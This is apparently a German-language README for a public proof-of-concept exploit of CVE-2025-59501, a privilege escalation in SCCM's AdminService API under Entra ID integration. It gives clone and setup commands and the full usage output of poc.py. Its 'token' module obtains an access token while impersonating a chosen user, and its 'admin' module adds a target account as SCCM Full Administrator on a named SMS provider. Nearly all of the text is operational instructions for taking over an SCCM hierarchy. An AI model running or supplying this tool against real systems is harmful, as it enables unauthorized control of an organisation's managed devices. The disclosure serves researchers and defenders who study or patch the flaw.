
CVE-2025-59501 PoC-Code
POC, der die AdminService-API von SCCM missbraucht, wenn die Entra-ID-Integration aktiviert ist, um zum Full Administrator zu eskalieren und eine SCCM-Hierarchie zu übernehmen. Weitere Details finden Sie in diesem Blog
git clone https://github.com/garrettfoster13/CVE-2025-59501.git
cd CVE-2025-59501/
uv sync
Das Tool hat zwei Module: token und admin
➜ CVE-2025-59501 git:(main) ✗ uv run poc.py
usage: poc.py [-h] {token,admin} ...
POC to abuse CVE-2025-59501 by @unsigned_sh0rt
positional arguments:
{token,admin}
token Get AdminService access token
admin Add user as SCCM admin
options:
-h, --help show this help message and exit
Das token-Modul wird verwendet, um ein Zugriffstoken als Entra-/AD-Benutzer mit einer UPN anzufordern, die Sie impersonieren möchten
➜ CVE-2025-59501 git:(main) ✗ uv run poc.py token -h
usage: poc.py token [-h] -u USERNAME [-p PASSWORD] -c CLIENT_ID -t TENANT_ID [-s SCOPE]
options:
-h, --help show this help message and exit
-u, --username USERNAME
username
-p, --password PASSWORD
password
-c, --client-id CLIENT_ID
azure app clientid
-t, --tenant-id TENANT_ID
entra tenant ID
-s, --scope SCOPE resource URI/Scope
Das admin-Modul verwendet das Token, um sich bei der AdminService-API zu authentifizieren und ein Zielbenutzerkonto als SCCM-Administrator hinzuzufügen
➜ CVE-2025-59501 git:(main) ✗ uv run poc.py admin -h
usage: poc.py admin [-h] -t TARGET -u USER -s SID -a ACCESS_TOKEN
options:
-h, --help show this help message and exit
-t, --target TARGET target SMS provider FQDN or IP address
-u, --user USER Username to add as admin
-s, --sid SID New admins user's SID
-a, --access-token ACCESS_TOKEN
AdminService access token